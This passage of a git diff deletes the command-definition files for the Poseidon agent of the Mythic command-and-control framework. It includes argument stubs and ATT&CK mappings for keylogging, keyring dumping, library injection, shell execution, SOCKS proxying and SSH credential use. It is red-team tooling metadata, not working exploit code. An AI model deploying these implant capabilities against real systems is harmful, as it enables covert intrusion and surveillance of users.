- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/jxa.py b/Payload_Types/poseidon/mythic/agent_functions/jxa.py
deleted file mode 100644
index 3375d3dc4..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/jxa.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from CommandBase import *
-import base64
-
-
-class JxaArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "code": CommandParameter(
- name="code",
- type=ParameterType.String,
- description="JXA Code to execute.",
- )
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class JxaCommand(CommandBase):
- cmd = "jxa"
- needs_admin = False
- help_cmd = 'jxa { "code": "ObjC.import(\'Cocoa\'); $.NSBeep();" }'
- description = "Execute jxa code."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = JxaArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- task.args.add_arg(
- "code", base64.b64encode(task.args.get_arg("code").encode()).decode()
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/keylog.py b/Payload_Types/poseidon/mythic/agent_functions/keylog.py
deleted file mode 100644
index 4cf1b2e1e..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/keylog.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class KeylogArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class KeylogCommand(CommandBase):
- cmd = "keylog"
- needs_admin = False
- help_cmd = "keylog"
- description = "Keylog users as root on Linux."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = KeylogArguments
- attackmapping = ["T1056"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/keys.py b/Payload_Types/poseidon/mythic/agent_functions/keys.py
deleted file mode 100644
index 06e99e625..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/keys.py
+++ /dev/null
@@ -1,60 +0,0 @@
-from CommandBase import *
-import json
-
-
-class KeysArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "command": CommandParameter(
- name="command",
- type=ParameterType.ChooseOne,
- description="Choose a way to interact with keys.",
- choices=[
- "dumpsession",
- "dumpuser",
- "dumpprocess",
- "dumpthreads",
- "search",
- ],
- ),
- "keyword": CommandParameter(
- name="keyword",
- type=ParameterType.String,
- description="Name of the key to search for",
- required=False,
- ),
- "typename": CommandParameter(
- name="typename",
- type=ParameterType.ChooseOne,
- description="Choose the type of key",
- choices=["keyring", "user", "login", "logon", "session"],
- required=False,
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class KeysCommand(CommandBase):
- cmd = "keys"
- needs_admin = False
- help_cmd = "keys"
- description = "Interact with the linux keyring."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = KeysArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/kill.py b/Payload_Types/poseidon/mythic/agent_functions/kill.py
deleted file mode 100644
index bc9290283..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/kill.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class KillArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class KillCommand(CommandBase):
- cmd = "kill"
- needs_admin = False
- help_cmd = "kill [pid]"
- description = "Kill a process specified by PID."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = KillArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/libinject.py b/Payload_Types/poseidon/mythic/agent_functions/libinject.py
deleted file mode 100644
index 5dac0ef63..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/libinject.py
+++ /dev/null
@@ -1,48 +0,0 @@
-from CommandBase import *
-import json
-
-
-class LibinjectArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "pid": CommandParameter(
- name="pid",
- type=ParameterType.Number,
- description="PID of process to inject into.",
- ),
- "library": CommandParameter(
- name="library",
- type=ParameterType.String,
- description="Path to the dylib to inject",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class LibinjectCommand(CommandBase):
- cmd = "libinject"
- needs_admin = True
- help_cmd = "libinject"
- description = "Inject a library from on-host into a process."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = LibinjectArguments
- attackmapping = ["T1055"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.callback.integrity_level <= 2:
- raise Exception("Error: the libinject command requires elevated privileges")
- else:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/list_entitlements.py b/Payload_Types/poseidon/mythic/agent_functions/list_entitlements.py
deleted file mode 100644
index b71c37ae3..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/list_entitlements.py
+++ /dev/null
@@ -1,41 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ListEntitlementsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "pid": CommandParameter(
- name="pid",
- type=ParameterType.Number,
- description="PID of process to query (-1 for all)",
- )
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class ListEntitlementCommand(CommandBase):
- cmd = "list_entitlements"
- needs_admin = False
- help_cmd = "list_entitlements"
- description = "Use CSOps Syscall to list the entitlements for processes (-1 for all processes)"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- argument_class = ListEntitlementsArguments
- attackmapping = []
- browser_script = BrowserScript(script_name="list_entitlements", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/listtasks.py b/Payload_Types/poseidon/mythic/agent_functions/listtasks.py
deleted file mode 100644
index 91e1d408f..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/listtasks.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ListtasksArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ListtasksCommand(CommandBase):
- cmd = "listtasks"
- needs_admin = True
- help_cmd = "listtasks"
- description = "Obtain a list of processes with obtainable task ports on macOS. This command should be used to determine target processes for the libinject command"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = ListtasksArguments
- attackmapping = ["T1057"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.callback.integrity_level <= 2:
- raise Exception("Error: the listtasks command requires elevated privileges")
- else:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/ls.py b/Payload_Types/poseidon/mythic/agent_functions/ls.py
deleted file mode 100644
index 31b468e3d..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/ls.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from CommandBase import *
-import json
-
-
-class LsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- self.add_arg("file_browser", False, type=ParameterType.Boolean)
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- tmp_json = json.loads(self.command_line)
- self.command_line = tmp_json["path"] + "/" + tmp_json["file"]
- self.add_arg("file_browser", True, type=ParameterType.Boolean)
- self.add_arg("path", self.command_line)
- else:
- self.add_arg("path", ".")
-
-
-class LsCommand(CommandBase):
- cmd = "ls"
- needs_admin = False
- help_cmd = "ls [directory]"
- description = "List directory."
- version = 1
- is_exit = False
- is_file_browse = True
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = LsArguments
- attackmapping = ["T1083"]
- browser_script = BrowserScript(script_name="ls", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/mkdir.py b/Payload_Types/poseidon/mythic/agent_functions/mkdir.py
deleted file mode 100644
index f2429f228..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/mkdir.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class MkdirArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class MkdirCommand(CommandBase):
- cmd = "mkdir"
- needs_admin = False
- help_cmd = "mkdir [path]"
- description = "Create a new directory."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = MkdirArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/mv.py b/Payload_Types/poseidon/mythic/agent_functions/mv.py
deleted file mode 100644
index b91880527..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/mv.py
+++ /dev/null
@@ -1,45 +0,0 @@
-from CommandBase import *
-import json
-
-
-class MvArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "source": CommandParameter(
- name="source",
- type=ParameterType.String,
- description="Source file to move.",
- ),
- "destination": CommandParameter(
- name="destination",
- type=ParameterType.String,
- description="Source will move to this location",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class MvCommand(CommandBase):
- cmd = "mv"
- needs_admin = False
- help_cmd = "mv"
- description = "Move a file from one location to another."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = MvArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/portscan.py b/Payload_Types/poseidon/mythic/agent_functions/portscan.py
deleted file mode 100644
index 8bbc0419d..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/portscan.py
+++ /dev/null
@@ -1,46 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PortScanArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "ports": CommandParameter(
- name="ports",
- type=ParameterType.String,
- description="List of ports to scan. Can use the dash separator to specify a range.",
- ),
- "hosts": CommandParameter(
- name="hosts",
- type=ParameterType.Array,
- description="List of hosts to scan",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class PortScanCommand(CommandBase):
- cmd = "portscan"
- needs_admin = False
- help_cmd = "portscan"
- description = "Scan host(s) for open ports."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@djhohnstein"
- argument_class = PortScanArguments
- attackmapping = ["T1046"]
- browser_script = BrowserScript(script_name="portscan", author="@djhohnstein")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/ps.py b/Payload_Types/poseidon/mythic/agent_functions/ps.py
deleted file mode 100644
index b528d28e8..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/ps.py
+++ /dev/null
@@ -1,35 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class PsCommand(CommandBase):
- cmd = "ps"
- needs_admin = False
- help_cmd = "ps"
- description = "Get a process listing"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = True
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = PsArguments
- attackmapping = ["T1057"]
- browser_script = BrowserScript(script_name="ps", author="@djhohnstein")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/pwd.py b/Payload_Types/poseidon/mythic/agent_functions/pwd.py
deleted file mode 100644
index ba4a23b85..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/pwd.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PwdArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class PwdCommand(CommandBase):
- cmd = "pwd"
- needs_admin = False
- help_cmd = "pwd"
- description = "Print the working directory."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = PwdArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/rm.py b/Payload_Types/poseidon/mythic/agent_functions/rm.py
deleted file mode 100644
index 0a5bd9fba..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/rm.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from CommandBase import *
-import json
-
-
-class RmArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- tmp_json = json.loads(self.command_line)
- self.command_line = tmp_json["path"] + "/" + tmp_json["file"]
-
-
-class RmCommand(CommandBase):
- cmd = "rm"
- needs_admin = False
- help_cmd = "rm [path]"
- description = "Delete a file."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = True
- is_upload_file = False
- author = "@xorrior"
- argument_class = RmArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/screencapture.py b/Payload_Types/poseidon/mythic/agent_functions/screencapture.py
deleted file mode 100644
index c76d7e5b0..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/screencapture.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ScreencaptureArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ScreencaptureCommand(CommandBase):
- cmd = "screencapture"
- needs_admin = False
- help_cmd = "screencapture"
- description = (
- "Capture a screenshot of the targets desktop (not implemented on Linux)."
- )
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = ScreencaptureArguments
- attackmapping = ["T1113"]
- browser_script = BrowserScript(script_name="screencapture", author="@djhohnstein")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/setenv.py b/Payload_Types/poseidon/mythic/agent_functions/setenv.py
deleted file mode 100644
index 1cf04bb4f..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/setenv.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class SetEnvArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class SetEnvCommand(CommandBase):
- cmd = "setenv"
- needs_admin = False
- help_cmd = "setenv [param] [value]"
- description = "Sets an environment variable to your choosing."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = SetEnvArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/shell.py b/Payload_Types/poseidon/mythic/agent_functions/shell.py
deleted file mode 100644
index 18cbee9a3..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/shell.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ShellArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ShellCommand(CommandBase):
- cmd = "shell"
- needs_admin = False
- help_cmd = "shell [command]"
- description = "Execute a shell command with 'bash -c'"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = ShellArguments
- attackmapping = ["T1059"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="/bin/bash -c {}".format(task.args.command_line),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="{}".format(task.args.command_line),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/sleep.py b/Payload_Types/poseidon/mythic/agent_functions/sleep.py
deleted file mode 100644
index 12aca7964..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/sleep.py
+++ /dev/null
@@ -1,62 +0,0 @@
-from CommandBase import *
-import json
-
-
-class SleepArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "jitter": CommandParameter(
- name="jitter",
- type=ParameterType.Number,
- required=False,
- description="Jitter percentage.",
- default_value=-1,
- ),
- "interval": CommandParameter(
- name="interval",
- type=ParameterType.Number,
- required=False,
- description="Sleep time in seconds",
- default_value=-1,
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- pieces = self.command_line.split(" ")
- if len(pieces) == 1:
- self.add_arg("interval", pieces[0])
- elif len(pieces) == 2:
- self.add_arg("interval", pieces[0])
- self.add_arg("jitter", pieces[1])
- else:
- raise Exception("Wrong number of arguments. should be 1 or 2")
- else:
- raise Exception("Missing arguments for sleep")
-
-
-class SleepCommand(CommandBase):
- cmd = "sleep"
- needs_admin = False
- help_cmd = "sleep {interval} [jitter%]"
- description = "Update the sleep interval for the agent."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = SleepArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/socks.py b/Payload_Types/poseidon/mythic/agent_functions/socks.py
deleted file mode 100644
index e2da58fb2..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/socks.py
+++ /dev/null
@@ -1,56 +0,0 @@
-from CommandBase import *
-from MythicSocksRPC import *
-
-
-class SocksArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "action": CommandParameter(
- name="action",
- type=ParameterType.ChooseOne,
- choices=["start", "stop"],
- description="Start or Stop socks through this callback.",
- ),
- "port": CommandParameter(
- name="port",
- type=ParameterType.Number,
- description="Port number on Mythic server to open for socksv5",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class SocksCommand(CommandBase):
- cmd = "socks"
- needs_admin = False
- help_cmd = "socks"
- description = "start or stop socks."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = SocksArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.args.get_arg("action") == "start":
- resp = await MythicSocksRPC(task).start_socks(task.args.get_arg("port"))
- if resp.status != MythicStatus.Success:
- task.status = MythicStatus.Error
- raise Exception(resp.error_message)
- else:
- resp = await MythicSocksRPC(task).stop_socks()
- if resp.status != MythicStatus.Success:
- task.status = MythicStatus.Error
- raise Exception(resp.error_message)
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/sshauth.py b/Payload_Types/poseidon/mythic/agent_functions/sshauth.py
deleted file mode 100644
index 9b14b01cb..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/sshauth.py
+++ /dev/null
@@ -1,86 +0,0 @@
-from CommandBase import *
-import json
-
-
-class SSHAuthArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "username": CommandParameter(
- name="username",
- type=ParameterType.String,
- description="Authenticate to the designated hosts using this username.",
- ),
- "source": CommandParameter(
- name="source",
- type=ParameterType.String,
- description="If doing SCP, this is the source file",
- required=False,
- default_value="",
- ),
- "destination": CommandParameter(
- name="destination",
- type=ParameterType.String,
- description="If doing SCP, this is the destination file",
- required=False,
- default_value="",
- ),
- "private_key": CommandParameter(
- name="private_key",
- type=ParameterType.String,
- description="Authenticate to the designated hosts using this private key",
- required=False,
- ),
- "port": CommandParameter(
- name="port",
- type=ParameterType.Number,
- description="SSH Port if different than 22",
- default_value="22",
- ),
- "password": CommandParameter(
- name="password",
- type=ParameterType.String,
- description="Authenticate to the designated hosts using this password",
- required=False,
- default_value="",
- ),
- "hosts": CommandParameter(
- name="hosts",
- type=ParameterType.Array,
- description="Hosts that you will auth to",
- ),
- "command": CommandParameter(
- name="command",
- type=ParameterType.String,
- description="Command to execute on remote systems if not doing SCP",
- required=False,
- default_value="",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class SSHAuthCommand(CommandBase):
- cmd = "sshauth"
- needs_admin = False
- help_cmd = "sshauth"
- description = "SSH to specified host(s) using the designated credentials. You can also use this to execute a specific command on the remote hosts via SSH or use it to SCP files."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = SSHAuthArguments
- attackmapping = ["T1110"]
- browser_script = BrowserScript(script_name="sshauth", author="@djhohnstein")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/triagedirectory.py b/Payload_Types/poseidon/mythic/agent_functions/triagedirectory.py
deleted file mode 100644
index 90cd57257..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/triagedirectory.py
+++ /dev/null
@@ -1,35 +0,0 @@
-from CommandBase import *
-import json
-
-
-class TriageDirectoryArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class TriageDirectoryCommand(CommandBase):
- cmd = "triagedirectory"
- needs_admin = False
- help_cmd = "triagedirectory"
- description = "Find interesting files within a directory on a host."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = TriageDirectoryArguments
- attackmapping = ["T1083"]
- browser_script = BrowserScript(script_name="triagedirectory", author="@djhohnstein")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/unsetenv.py b/Payload_Types/poseidon/mythic/agent_functions/unsetenv.py
deleted file mode 100644
index 80c9aa347..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/unsetenv.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class UnsetEnvArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class UnsetEnvCommand(CommandBase):
- cmd = "unsetenv"
- needs_admin = False
- help_cmd = "unsetenv [param]"
- description = "Unset an environment variable"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = UnsetEnvArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/upload.py b/Payload_Types/poseidon/mythic/agent_functions/upload.py
deleted file mode 100644
index fd5845e34..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/upload.py
+++ /dev/null
@@ -1,56 +0,0 @@
-from CommandBase import *
-import json
-from MythicFileRPC import *
-
-
-class UploadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "remote_path": CommandParameter(
- name="remote_path",
- type=ParameterType.String,
- description="Remote file path.",
- ),
- "file_id": CommandParameter(
- name="file_id",
- type=ParameterType.File,
- description="Select the file to upload",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class UploadCommand(CommandBase):
- cmd = "upload"
- needs_admin = False
- help_cmd = "upload"
- description = "upload a file to the target."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = True
- author = "@xorrior"
- argument_class = UploadArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- original_file_name = json.loads(task.original_params)["file_id"]
- response = await MythicFileRPC(task).register_file(
- file=task.args.get_arg("file_id"),
- saved_file_name=original_file_name,
- delete_after_fetch=False,
- )
- if response.status == MythicStatus.Success:
- task.args.add_arg("file_id", response.agent_file_id)
- else:
- raise Exception("Error from Mythic: " + response.error_message)
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/xpc.py b/Payload_Types/poseidon/mythic/agent_functions/xpc.py
deleted file mode 100644
index 5b9436565..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/xpc.py
+++ /dev/null
@@ -1,87 +0,0 @@
-from CommandBase import *
-import json
-
-
-class XpcArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "command": CommandParameter(
- name="command",
- type=ParameterType.ChooseOne,
- description="Choose an XPC command.",
- choices=[
- "list",
- "start",
- "stop",
- "load",
- "unload",
- "status",
- "procinfo",
- "submit",
- "send",
- ],
- ),
- "program": CommandParameter(
- name="program",
- type=ParameterType.String,
- description="Program/binary to execute if using 'submit' command",
- required=False,
- ),
- "file": CommandParameter(
- name="file",
- type=ParameterType.String,
- description="Path to the plist file if using load/unload commands",
- required=False,
- ),
- "servicename": CommandParameter(
- name="servicename",
- type=ParameterType.String,
- description="Name of the service to communicate with. Used with the submit, send, start/stop commands",
- required=False,
- ),
- "keepalive": CommandParameter(
- name="keepalive",
- type=ParameterType.Boolean,
- description="KeepAlive boolean",
- required=False,
- ),
- "pid": CommandParameter(
- name="pid",
- type=ParameterType.Number,
- description="PID of the process",
- required=False,
- ),
- "data": CommandParameter(
- name="data",
- type=ParameterType.String,
- description="base64 encoded json data to send to a target service",
- required=False,
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class XpcCommand(CommandBase):
- cmd = "xpc"
- needs_admin = False
- help_cmd = "xpc"
- description = "Use xpc to execute routines with launchd or communicate with another service/process."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = XpcArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/collapsable.js b/Payload_Types/poseidon/mythic/browser_scripts/collapsable.js
deleted file mode 100644
index f286612ec..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/collapsable.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function(header, element, unique_id){
- //takes in information about the header to make and the element to collapse within it (as a string)
- var output = "";
- output += "
";
- output += "
" + element + "
";
- return output;
-}
\ No newline at end of file
